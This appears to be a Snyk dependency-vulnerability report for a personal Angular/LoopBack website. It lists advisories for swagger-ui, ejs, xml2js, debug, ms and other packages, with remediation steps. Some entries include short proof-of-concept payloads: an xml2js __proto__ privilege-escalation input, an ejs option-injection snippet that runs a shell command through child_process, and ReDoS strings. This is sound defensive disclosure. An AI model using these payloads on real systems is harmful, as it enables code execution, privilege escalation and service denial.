  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ?url parameter, which was intended to allow displaying remote OpenAPI definitions. This functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.

NOTE: This vulnerability has also been identified as: CVE-2021-46708

Remediation

Upgrade swagger-ui to version 4.1.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: swagger-ui
  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ?url parameter, which was intended to allow displaying remote OpenAPI definitions. This functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.

NOTE: This vulnerability has also been identified as: CVE-2018-25031

Remediation

Upgrade swagger-ui to version 4.1.3 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: loopback@3.28.0, strong-error-handler@1.2.1 and others

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 ejs@2.7.4
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 ejs@2.7.4
    Remediation: Upgrade to strong-error-handler@3.5.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: xml2js
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 xml2js@0.4.23
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 xml2js@0.4.23

Overview

Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

PoC

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade xml2js to version 0.5.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: mem
  • Introduced through: loopback-component-explorer@4.3.1 and strong-error-handler@1.2.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 strong-globalize@2.10.0 os-locale@2.1.0 mem@1.1.0
    Remediation: Upgrade to loopback-component-explorer@6.2.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 strong-globalize@2.10.0 os-locale@2.1.0 mem@1.1.0
    Remediation: Upgrade to strong-error-handler@3.0.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 strong-globalize@2.10.0 os-locale@2.1.0 mem@1.1.0
    Remediation: Upgrade to loopback-component-explorer@5.0.0.

Overview

mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.

Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.

details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mem to version 4.0.0 or higher.

References

medium severity

Insecure Defaults

  • Vulnerable module: swagger-ui
  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Insecure Defaults. Markdown rendering allows class, style and data attributes in the result by default.

Remediation

Upgrade swagger-ui to version 3.26.1 or higher.

References

medium severity

Reverse Tabnabbing

  • Vulnerable module: swagger-ui
  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Reverse Tabnabbing. Setting target="_blank" on anchor tags is unsafe unless used in conjunction with the rel="noopener" attribute. A link opened via target blank attribute can make changes to the original page, essentially bypassing same origin policy restrictions set by the browser.

Remediation

Upgrade swagger-ui to version 3.18.0 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: loopback@3.28.0, strong-error-handler@1.2.1 and others

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 ejs@2.7.4
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 ejs@2.7.4
    Remediation: Upgrade to strong-error-handler@3.5.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

medium severity

Artistic-2.0 license

  • Module: strong-globalize
  • Introduced through: loopback-connector-mongodb@3.9.2, loopback@3.28.0 and others

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-connector-mongodb@3.9.2 loopback-connector@4.11.1 strong-globalize@5.1.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 strong-globalize@5.1.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-datasource-juggler@3.36.1 loopback-connector@4.11.1 strong-globalize@5.1.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 strong-globalize@5.1.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 loopback-datasource-juggler@3.36.1 loopback-connector@4.11.1 strong-globalize@5.1.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-boot@2.28.0 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-connector-mongodb@3.9.2 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-datasource-juggler@3.36.1 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-phase@3.4.0 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 loopback-datasource-juggler@3.36.1 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 loopback-phase@3.4.0 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 loopback-phase@3.4.0 strong-globalize@4.1.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 strong-error-handler@3.5.0 strong-globalize@6.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 strong-error-handler@3.5.0 strong-globalize@6.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 strong-globalize@2.10.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 strong-globalize@2.10.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 strong-globalize@2.10.0

Artistic-2.0 license

medium severity

Artistic-2.0 license

  • Module: strong-remoting
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0

Artistic-2.0 license

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.7

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc @angular/core@4.4.7
    Remediation: Upgrade to @angular/core@11.0.5.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in development, with SSR enabled.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 11.0.5, 11.1.0-next.3 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: helmet@1.3.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc helmet@1.3.0 connect@3.4.1 debug@2.2.0
    Remediation: Upgrade to helmet@3.8.2.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc helmet@1.3.0 connect@3.4.1 finalhandler@0.4.1 debug@2.2.0
    Remediation: Upgrade to helmet@3.8.2.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: helmet@1.3.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc helmet@1.3.0 connect@3.4.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to helmet@3.6.1.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc helmet@1.3.0 connect@3.4.1 finalhandler@0.4.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to helmet@3.6.1.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References